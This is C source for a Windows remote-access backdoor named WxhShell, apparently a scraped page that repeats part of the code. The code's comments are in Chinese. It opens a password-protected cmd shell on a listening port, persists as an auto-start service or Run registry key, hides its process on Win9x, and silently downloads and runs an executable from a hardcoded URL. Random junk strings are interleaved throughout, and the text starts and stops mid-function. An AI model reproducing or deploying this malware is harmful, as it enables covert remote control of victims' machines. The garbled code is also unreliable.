B g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BmBj7 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T\:4qETQF] NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7@C<oy_bb x9NEFtqjm if (!NtQueryInformationProcess) return 0; |$+3a ZkgV_<M| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G=)i{oC if(!hProcess) return 0; +QB"8- IWBX'|}K if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; > pgX^ 9 ^o-EC!_ CloseHandle(hProcess); VJ84?b{c
W pb^i^tA+A hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m9)p-1y@5 if(hProcess==NULL) return 0; 6f;fx}y 3yANv?$a HMODULE hMod; ~)*,S^k(C. char procName[255]; `{4i)n%e& unsigned long cbNeeded; .\K_@M tWo{7) Eb if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _my"%@n w;D+y*2 CloseHandle(hProcess); FK6[>(QO PEN\-*Pv if(strstr(procName,"services")) return 1; // 以服务启动 D>|H 2 du+y5dw return 0; // 注册表启动 M\C"5%2Mu } +_s #2 .R`5Qds*l // 主模块 )js)2L~ int StartWxhshell(LPSTR lpCmdLine) #XK2Ien)Z { M-\Y"]sW SOCKET wsl; ]5BX:% BOOL val=TRUE; sPd Gw~{ int port=0; ,"2s` YC struct sockaddr_in door; siXr;/n" TPVVck-T8 if(wscfg.ws_autoins) Install(); B!
rTD5a VzBqjE_ port=atoi(lpCmdLine); ,l%CX.9 ^*S ,xP if(port<=0) port=wscfg.ws_port; Z/Eb: <wZQc WSADATA data; =5aDM\L$& if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; soPLA68 ]&?Y~"{cD if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 3WN`y8l setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "rTQG6` door.sin_family = AF_INET; Q)"C&)`l door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0YaA ` door.sin_port = htons(port); k $M]3}$U Yv
hA_v if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "b?v?V0%C closesocket(wsl); e }mD]O} return 1; K )[]fm } "ZHW2l Mf _\=`6`b) if(listen(wsl,2) == INVALID_SOCKET) { l;af~ef)' closesocket(wsl); Ok>gh2e[c return 1; '"y|p+=j: } o5xAav"+> Wxhshell(wsl); `))\}C@k WSACleanup(); H|,Oswk~-
zG+R5: return 0; 4!$s}V=6 za#s/b$[ } "mX\&%i6\p ~SQ?BoCI[ // 以NT服务方式启动 N03G>fZ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R,)}>X|< { Xm+8 DWORD status = 0; 'iy*^A `Y DWORD specificError = 0xfffffff; 0$_oT;{8 YiYV>gaf"H serviceStatus.dwServiceType = SERVICE_WIN32; vK(i9>;7 serviceStatus.dwCurrentState = SERVICE_START_PENDING; lW<PoT serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |4
v0:ETb$ serviceStatus.dwWin32ExitCode = 0; AGH|"EWG serviceStatus.dwServiceSpecificExitCode = 0; +$X#q8j06 serviceStatus.dwCheckPoint = 0; A3vUPWdDk serviceStatus.dwWaitHint = 0; tcI}Ca>u x2@U.r"zo hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0_k'.5l% if (hServiceStatusHandle==0) return; &GNxo$CG K6y :mJYp\ status = GetLastError(); s?zAP O8Sz if (status!=NO_ERROR) /V=24\1Ky { 6}75iIKi serviceStatus.dwCurrentState = SERVICE_STOPPED; ";BlIovT=R serviceStatus.dwCheckPoint = 0; 9V,!R{kO! serviceStatus.dwWaitHint = 0; :*t"8;O[ serviceStatus.dwWin32ExitCode = status; =81@o,1w serviceStatus.dwServiceSpecificExitCode = specificError; N+zKr/ SetServiceStatus(hServiceStatusHandle, &serviceStatus); :q
ti return; ii%+jdi. } i.=w]S
j DKfE.p) serviceStatus.dwCurrentState = SERVICE_RUNNING; DvPlV q~ serviceStatus.dwCheckPoint = 0; h8 'v d3 serviceStatus.dwWaitHint = 0; x&^_c0fn if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tBNoI } 2LNRtW* a,3j,(3 // 处理NT服务事件,比如:启动、停止 cHcmgW\4 VOID WINAPI NTServiceHandler(DWORD fdwControl) T_X6Ulp { mK[)mC
_8 switch(fdwControl) Qhs/E`k4 { I6j$X 6u case SERVICE_CONTROL_STOP: ,QC{3i~ serviceStatus.dwWin32ExitCode = 0; XGJj3-eW{ serviceStatus.dwCurrentState = SERVICE_STOPPED; <WjF*x p serviceStatus.dwCheckPoint = 0; Vm5c+; serviceStatus.dwWaitHint = 0; Qd=^S^}( { V?Z.\~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); OS4q5;1# } #
S}Z8 return; [~kdPk case SERVICE_CONTROL_PAUSE: 48jVRo serviceStatus.dwCurrentState = SERVICE_PAUSED; 3=
DNb+D! break; 4&xZ]QC)O5 case SERVICE_CONTROL_CONTINUE: 1^_U;O:I serviceStatus.dwCurrentState = SERVICE_RUNNING; n8uv#DsdK break; MS>t_C( case SERVICE_CONTROL_INTERROGATE: b8$gx:aJ>$ break; fBgEnz/ }; @+'-ADX SetServiceStatus(hServiceStatusHandle, &serviceStatus); <c)+Fno[E_ } rEHk w
' XO-Prs // 标准应用程序主函数 pWPIJ>2G: int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BBH0OiV= { JoRT&rkd lY~4'8^ // 获取操作系统版本 CNr/U*+ OsIsNt=GetOsVer(); >ELlnE8 GetModuleFileName(NULL,ExeFile,MAX_PATH); Zq,9&y~ $ e\h}A6 // 从命令行安装 |}{B1A if(strpbrk(lpCmdLine,"iI")) Install(); D?C)BcN +Vo}F // 下载执行文件 rj6tZJZ#o0 if(wscfg.ws_downexe) { !(n4|Wd if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VOc8q-hK WinExec(wscfg.ws_filenam,SW_HIDE); }tH[[4tw, } {r>.G7P6 {%VV\qaC if(!OsIsNt) { [zL7Q^~ // 如果时win9x,隐藏进程并且设置为注册表启动 u)ev{)$TM HideProc(); )I^2k4Cg" StartWxhshell(lpCmdLine); Nc:({@I } ({-GOw46 else n6*En7IVh if(StartFromService()) !L;\cl // 以服务方式启动 Aub]IO~ StartServiceCtrlDispatcher(DispatchTable); {NPuu?& else UPc<gB // 普通方式启动 6`0mta Q StartWxhshell(lpCmdLine); j4>a( e$u4vC~ return 0; c&X{dJWD } o\88t){/kB *[r! tG8jFou ~go
fQ =========================================== yfjK2 &K43x&mFF uQ=^~K :Z~ )J_\tv 26dUA~|KJ S@}1t4Ls: " "]m+z)lWd ,bM-I2BR #include <stdio.h> ly4s"4v #include <string.h> P7 ]z #include <windows.h> Q~MC7-n> #include <winsock2.h> Q.9qImgN #include <winsvc.h> 5GA\xM- #include <urlmon.h> LAP6U.m'd 6ns! ~g@ #pragma comment (lib, "Ws2_32.lib") kM'"4[,nz #pragma comment (lib, "urlmon.lib") Fi.aC;sx Ul_M3"Z #define MAX_USER 100 // 最大客户端连接数 9U {y1} #define BUF_SOCK 200 // sock buffer \":?xh_H #define KEY_BUFF 255 // 输入 buffer E]J:~H'Er R g?1-|Tj #define REBOOT 0 // 重启 AsPx? #define SHUTDOWN 1 // 关机 ;>%~9j1C ui"3ak+F #define DEF_PORT 5000 // 监听端口 'DCFezdf3 5jgdbHog] #define REG_LEN 16 // 注册表键长度 j}BHj.YuP #define SVC_LEN 80 // NT服务名长度 { F'Kk\f%: ?\U!huu // 从dll定义API yJsH=5A typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &f>eQS=( typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l{:a1^[>y typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8K;Y2
# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GyW.2 =?])['VaA // wxhshell配置信息 "c(Sysl.L struct WSCFG { [k[u*5hP|F int ws_port; // 监听端口 ?!=iu!J char ws_passstr[REG_LEN]; // 口令 }C
/] int ws_autoins; // 安装标记, 1=yes 0=no :^'O}2NP char ws_regname[REG_LEN]; // 注册表键名 b$Hz3TJ( char ws_svcname[REG_LEN]; // 服务名 xq%{} char ws_svcdisp[SVC_LEN]; // 服务显示名 BR v+.(S char ws_svcdesc[SVC_LEN]; // 服务描述信息 )i>[M"7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KQld YA|m int ws_downexe; // 下载执行标记, 1=yes 0=no R8-^RvG char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FG%j{_Ez char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \dlph X 6lH|R }; aup6?'G; dI*'!wK // default Wxhshell configuration DY{cQb struct WSCFG wscfg={DEF_PORT, e,k2vp!<& "xuhuanlingzhe", /<&h@$NHH4 1, Sf/q2/r?6[ "Wxhshell", 1^dJg8 "Wxhshell", _TUt9} "WxhShell Service", .fzu"XAPu "Wrsky Windows CmdShell Service", ,&7Wa-vf "Please Input Your Password: ", G\/"}B:( 1, mmEp'E "http://www.wrsky.com/wxhshell.exe", Q}*y$se! "Wxhshell.exe" ]DvO:tM }; |2`"1gt H]\Zn%.# // 消息定义模块 xU
S]P)R char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (X +s-4% char *msg_ws_prompt="\n\r? for help\n\r#>"; m,> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p<`+sf}A: char *msg_ws_ext="\n\rExit."; s$DrR
char *msg_ws_end="\n\rQuit."; pi@Xkw char *msg_ws_boot="\n\rReboot..."; fd8!KO char *msg_ws_poff="\n\rShutdown..."; VW@ x=m char *msg_ws_down="\n\rSave to "; t` 8!AhOgc }wwe}E-e char *msg_ws_err="\n\rErr!"; \aP6_g:N} char *msg_ws_ok="\n\rOK!"; `7+j0kV) 9
L?;FY)_ char ExeFile[MAX_PATH]; %8)W0WMe int nUser = 0; Qn:kz*: HANDLE handles[MAX_USER]; PzZZ>7_6S int OsIsNt; Y&*x4&Lb G",.,Px SERVICE_STATUS serviceStatus; ]lS@}W\ SERVICE_STATUS_HANDLE hServiceStatusHandle; TNY4z(r *zVvQ= // 函数声明 u-DK_^v4M int Install(void); Rt(J/%; int Uninstall(void); *Q}[ ]g int DownloadFile(char *sURL, SOCKET wsh); (LJ@SeM; int Boot(int flag); E-ZRG!)[v void HideProc(void); E1Q0k5@ int GetOsVer(void); ekQrW%\3 int Wxhshell(SOCKET wsl); BF8"rq}r0 void TalkWithClient(void *cs); X6RQqen3: int CmdShell(SOCKET sock); Uh|>Skic4 int StartFromService(void); GZ}/leR int StartWxhshell(LPSTR lpCmdLine);
BRbV7&
6'OO-o VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Bmo$5$ VOID WINAPI NTServiceHandler( DWORD fdwControl ); VjbG(nB?_ :Gh~fm3} // 数据结构和表定义 ad n|N SERVICE_TABLE_ENTRY DispatchTable[] = \&}G] { jN/C'\QL {wscfg.ws_svcname, NTServiceMain}, )%Y
IGV;& {NULL, NULL} Di=9mHC }; beZ(o?uK UQd6/mD`e // 自我安装 O.k\]' int Install(void) zuL7%qyv { 0y%L-:/c| char svExeFile[MAX_PATH]; N
dR ] HKEY key; r$nkU4N' strcpy(svExeFile,ExeFile); h3Fo-]0 )QY![&k}1z // 如果是win9x系统,修改注册表设为自启动 tSv0" L if(!OsIsNt) { +=cam/A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { We`'>'W0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0,FC
YTtj$ RegCloseKey(key); Ie'P#e' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X;fy\HaU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 45}v^|Je\ RegCloseKey(key); s&*yk p return 0; BIWD/|LQ } 5)+F( } mVm4fHEYwU } Rt=
X%[YL else { J(h3]J/Yw zTCP)x // 如果是NT以上系统,安装为系统服务 D\]&8w6& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B}*V%}:) if (schSCManager!=0) -G ?%QG`v { w;yx<1f SC_HANDLE schService = CreateService RTd^ImV ( ZL%VOxYqi schSCManager, C?H{CP wscfg.ws_svcname, V,QwN& wscfg.ws_svcdisp, WOndE=(V SERVICE_ALL_ACCESS, RfbdBsL SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z] @W[MHY SERVICE_AUTO_START, G%w_CMfH SERVICE_ERROR_NORMAL, izt^Wi| svExeFile, 85>S"%_ NULL, p$!@I NULL, B.-A $/ NULL, 2mJ:c NULL, c %<2z NULL IUhp;iH ); (iDBhC;/B if (schService!=0) G8NRj9k? { z g]Drm CloseServiceHandle(schService); Hbr^vYs5 CloseServiceHandle(schSCManager); ]G1R0 Q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mC(u2 strcat(svExeFile,wscfg.ws_svcname); ^eTZn[qH>w if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kMe@+ysL RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QTh0SL RegCloseKey(key); ;?im(9h"v! return 0; aR(E7mXQ } &d
3HB=x } &|z544 CloseServiceHandle(schSCManager); ag]*DsBt } \8_V(lU
} ABWb>EZ8 +rQg7a} return 1; URw!7bTz } ZDlu1>Q z<QIuq // 自我卸载 ?Y`zg` int Uninstall(void) A c:\c7M; { Rkv HKEY key; >6K4b/.5w m'.T2e.u if(!OsIsNt) { 4]"w b5% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fu>Qi)@6a1 RegDeleteValue(key,wscfg.ws_regname); Fg@ ACv'@ RegCloseKey(key); 3W j,} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~x+Ykq0 RegDeleteValue(key,wscfg.ws_regname); Hs<n^fyf RegCloseKey(key); e 2*F;.) return 0; LV=^jsQ5 } -R@JIe_28f } ,^+#M{Z } 2E$i_jc else { s*{mT6s+T }B*,mn2N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9L=;KtE1 if (schSCManager!=0) |M _%QM. { )=(n/vckM SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z[FI2jl if (schService!=0) 9d] tjT { T+BIy|O if(DeleteService(schService)!=0) { ! [q}BU4 CloseServiceHandle(schService); @fDQ^ 4 CloseServiceHandle(schSCManager); NV(fN-L return 0; R8{e&nPE } b60[({A\s& CloseServiceHandle(schService); <"NyC?b+G } _s@bz|yqw CloseServiceHandle(schSCManager); (l;C%O7* } YZ{jP?x } :>ZzP: QD zK /f$} return 1; t!l/` e%J } <!hpfTz* <dJIq"){ // 从指定url下载文件 CMKhS,,o int DownloadFile(char *sURL, SOCKET wsh) 9M0d+:YJ { +QQYPEx+ HRESULT hr; 1[[TB .xF char seps[]= "/"; hC|KH}aCR) char *token; IKtiR8 char *file; ~e+0c'n\ char myURL[MAX_PATH]; IF$^0q char myFILE[MAX_PATH]; Kd
TE{].d J,`_,T strcpy(myURL,sURL); j`+0.Zlq token=strtok(myURL,seps); 1O- E], while(token!=NULL) ^VC7C~NZ!M { ?bn;{c;E file=token; CElPU`J,\[ token=strtok(NULL,seps); /W? z0tk` } &KOO&, Wu]/(F GetCurrentDirectory(MAX_PATH,myFILE); a]{uZGn@i strcat(myFILE, "\\"); \/X{n*Hw? strcat(myFILE, file); 1wU=WE(kKZ send(wsh,myFILE,strlen(myFILE),0); f^ywW[dF send(wsh,"...",3,0); /H.(d 4C hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \ p1K(H if(hr==S_OK) {4o\S return 0; g8rp|MOH else Kyyih|{ return 1; 3[,wMy" K]%N-F>r } \kfcv $]Rl__; // 系统电源模块 oMz/sL'u int Boot(int flag) 5_PWGaQa { s&Z35IM8| HANDLE hToken; p9k4w%
~: TOKEN_PRIVILEGES tkp; e2qpJ4i .<0=a|IAz if(OsIsNt) { 9PUa?Bc`= OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v hR twi LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K`,nW6\ tkp.PrivilegeCount = 1; $dr27tse&< tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;K>{_kf AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )A"ZV[eOoQ if(flag==REBOOT) { XX*'N+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8H&_, ; return 0; Y>(ZsHu } mL8A2>Gig else { >~.Zr3P6kC if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?,D>+:: return 0; .A )\F ",X } 0,;E.Py?. } d*]Dv,#X else { d'x<-l9 if(flag==REBOOT) { xYT#!K1* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &e/@yu)x, return 0; AB/,S } FGV}5L else { ',L{CQA?c if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C+X)">/+L return 0;
7=$+k]U8 } 4!NfQk>X } Y]D7i?3N 3D]2$a_d return 1; Mp]yKl } 4jDs0Hn" uWJ#+XK. // win9x进程隐藏模块 N8Rm}) void HideProc(void) L*kh?PS; { 1}i&HIr!b Usa{J: HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Gr`MGQ, if ( hKernel != NULL ) ?Ry%c6(} { ?ZSXoy-kr pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); </K%i;l ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #a|6Q 8 FreeLibrary(hKernel); []GthF } j CTQsV ^4y(pcD return; [Ihp\!xqI } va`l*N5 T#MA#H2 // 获取操作系统版本 g;u<[>'I int GetOsVer(void) Sb@{f<3E { j
AJ/ OSVERSIONINFO winfo; {bAWc. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NB|RZf9M GetVersionEx(&winfo); 0A)
Vtj$ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Yio>ft&g] return 1; xI/{)I1f else zbF:R[) return 0; ^yEj]]6 } $|`t9-EA/ lWu9/r 1 // 客户端句柄模块 TnbGO; int Wxhshell(SOCKET wsl) f:x9Y{Y { T% /xti5$! SOCKET wsh; I_"Hgx< struct sockaddr_in client; -13P 2<i+ DWORD myID; \Owful i6!T`Kau while(nUser<MAX_USER) [H6X2yjj| { Dz"u8 f int nSize=sizeof(client); 3/A!_Uc( wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +d6Aw}* if(wsh==INVALID_SOCKET) return 1; vp )}/&/ 2A@Y&g(6T7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ain#_H if(handles[nUser]==0) @);!x41f closesocket(wsh); 73^T* else imJ[:E nUser++; v&[X&Hu[ } F#!@}K8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =|qt!gY)Y ]Omb : return 0; okK/i } rm5T=fNJ T!^?d5uW# // 关闭 socket RpmBP[ void CloseIt(SOCKET wsh) y(bt56 |
z { h X>VVeIZ closesocket(wsh); ${E[pT nUser--; %h/#^esi ExitThread(0); z^ a6%N } ]2aYi9) `Q1WVd29 // 客户端请求句柄 q{9X.-]} void TalkWithClient(void *cs) lgv-)5|O+H { ]]h:#A2 Y^94iOk%T SOCKET wsh=(SOCKET)cs; ?' ez.a} char pwd[SVC_LEN]; 5 CY_Ay\ char cmd[KEY_BUFF]; P*0nT char chr[1]; z'\}/k+ int i,j; [0tfY0 m>*A0&??[ while (nUser < MAX_USER) { E.H,1 { .@8m\ if(wscfg.ws_passstr) { {LB
}v;?l if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9J2q`/6~e //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ; mo\ yW1 //ZeroMemory(pwd,KEY_BUFF); YjX!q]56 i=0; M0Kh>u while(i<SVC_LEN) { fzkCI c`$`0} // 设置超时 *1o+o$hY2 fd_set FdRead; 4B3irHs\Q struct timeval TimeOut; v8U1uOR,% FD_ZERO(&FdRead); qUDz(bFk/ FD_SET(wsh,&FdRead); V ~J2s TimeOut.tv_sec=8; C\a:eSgaC TimeOut.tv_usec=0; 53,,%Ue int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); guU r1Ij if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xT=kxyu eF8aB?&" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z|DA
_dG pwd=chr[0]; 8[`^(O#\E if(chr[0]==0xd || chr[0]==0xa) { +/~\b/ pwd=0; ].<sAmL^ break; #<tWYE } 3w<j:\i i++; ,SJK } /n(bThDH
i_E#cU // 如果是非法用户,关闭 socket \@}$Wjsl if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O)RzNfI^`N } JV?RgFy @aiLGwh send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rs 1*H send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "k6IV&0
3x picP_1L while(1) { $*v 20 !6tC[W` ZeroMemory(cmd,KEY_BUFF); 8SCW.;0 <Z_wDK/UR // 自动支持客户端 telnet标准 Hdq/E>u j=0; U@v8H!p^i while(j<KEY_BUFF) { Y?vm%t`K if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fzld0p9= cmd[j]=chr[0];
]tdo& if(chr[0]==0xa || chr[0]==0xd) { uVuToMCp cmd[j]=0; -o!,,XYj . break; A_(+r } 0Yzb=QMD j++; I>8 @=V~ } ndCS<ojcBP = C'e1=] // 下载文件 n0_Az2 if(strstr(cmd,"http://")) { z$BnEd.y=: send(wsh,msg_ws_down,strlen(msg_ws_down),0); NKUI! [ if(DownloadFile(cmd,wsh)) $vGEY7, send(wsh,msg_ws_err,strlen(msg_ws_err),0); iq^L~RW5e else !^w\$cw& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 18/@:u{ } $m: a-.I else { f`9rTc -SY:qG3? switch(cmd[0]) { |nH0~P#! rIFC#Jd/ // 帮助 }AsF\W+5 case '?': { :D+SY send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iUG/ break; <]e;tF)+ } 'Rh>w=wB' // 安装 3JE;:2O~P case 'i': { 7SY->-H8 if(Install()) rLw[y$2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); dzv,)X else qVRO"/R send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wpdEI( break; (z1%lZ}( } SQKY;p // 卸载 8rG&CxI case 'r': { ?jn6Op if(Uninstall()) g1*H|nh2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); W &wDH else 7}1Kafs send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +heS\I_Mp break; ])wMUJWg2 } /qq&'}TZP // 显示 wxhshell 所在路径 j5Wx*~@( case 'p': { YlcF-a char svExeFile[MAX_PATH]; v3JIUdU=P strcpy(svExeFile,"\n\r"); +@)$l+kk9 strcat(svExeFile,ExeFile); yzNX2u1 send(wsh,svExeFile,strlen(svExeFile),0); ]ifHA# z`~ break; z3jzpmz } y yR8VO{ // 重启 _}D?+x,C8 case 'b': { Dw ;vDK send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oplA'Jgnv if(Boot(REBOOT)) 4p.{G%h send(wsh,msg_ws_err,strlen(msg_ws_err),0); zT-"kK else { Okg8Ve2 closesocket(wsh); Y6Qb_X: ExitThread(0); ,sJfMY } S w(
H] break; Rw{v"n } ~M^7qO // 关机 K
y4y case 'd': { S2
h send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;Kq?*H if(Boot(SHUTDOWN))
DPxu3,Y send(wsh,msg_ws_err,strlen(msg_ws_err),0); BG8)bhk;/ else { 0o=)&%G closesocket(wsh); Z%9^6kdY ExitThread(0); dVt@D& } =XBXSW8)DJ break; x-#9i } Mh.eAM8 _ // 获取shell #DRtMrfat case 's': { -*q2Y^A^l CmdShell(wsh); bfI -!, closesocket(wsh); u
R%R]X ExitThread(0); }0nB'0|y break; _r5Ild@n } (@o
/>T // 退出 }qdJ8K case 'x': { LXF%~^^@d send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j6HbJ#] CloseIt(wsh); 2y7q
x1$C break; 446hr zW>@ } 8=o(nFJw // 离开 +2o|#`)i case 'q': { h> %JG'DV send(wsh,msg_ws_end,strlen(msg_ws_end),0); # %y{mn closesocket(wsh); x,c68Q)g WSACleanup(); `6sQlCOnF exit(1); %R"/`N9R, break; yaYt/?| } hPpXB:(-0 } ;k%sKVP } HPdwx
V y8S6ZtA}2 // 提示信息 '^(v8lCu if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =pOY+S| } *K.7Zf0 } [f(^vlK ~wg^>!E return; Q4:r$
& } 0a%ui2k 9S1V!Jp // shell模块句柄 64>[pZF8 int CmdShell(SOCKET sock) w&cyGd D5 { uBkny; STARTUPINFO si; 7=*k@9 ZeroMemory(&si,sizeof(si)); K$GXXE` si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J+gsmP-_ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :{uUc PROCESS_INFORMATION ProcessInfo; s(.-bjR char cmdline[]="cmd"; ZxPAu% Y CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R.`J"J0/~ return 0; H&IP>8Dk } :Qp/3(g e 3A}8? // 自身启动模式 Du4#\OK int StartFromService(void) ^Jc0c)* { 6b01xu(A[ typedef struct Y1+lk^ { =xet+;~ji DWORD ExitStatus; Zs|sPatV< DWORD PebBaseAddress; ,VsCRp DWORD AffinityMask; 13kb~'+&r DWORD BasePriority; z))[Lg ULONG UniqueProcessId; 7uNI ULONG InheritedFromUniqueProcessId; be#"517 } PROCESS_BASIC_INFORMATION; ^!Jm/- <Pt\)"JA PROCNTQSIP NtQueryInformationProcess; s9bP6N!, )II,HT-LY static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *)D*iU& static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kP@OIhRe OSIp HANDLE hProcess; R0d|j#vP PROCESS_BASIC_INFORMATION pbi; ClZyQ=UAD ppP?1Il`kb HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "TJ^Z! if(NULL == hInst ) return 0; IfCqezd o:\a g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O^%ace1 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /k"P4\P`+Q NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K!gFD s7}
)4.vO if (!NtQueryInformationProcess) return 0; --FtFo ,peE' hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Bys|i 0tb- if(!hProcess) return 0; p'} %pAY 4344PBj if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @cGql=t bM3e7olWS CloseHandle(hProcess); AR3=G>hO, L"/ato hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D9C; JD if(hProcess==NULL) return 0; CnYX\^Ow rWqA)j*! HMODULE hMod; m/nn}+*C char procName[255]; $?{zV$r1 unsigned long cbNeeded; I
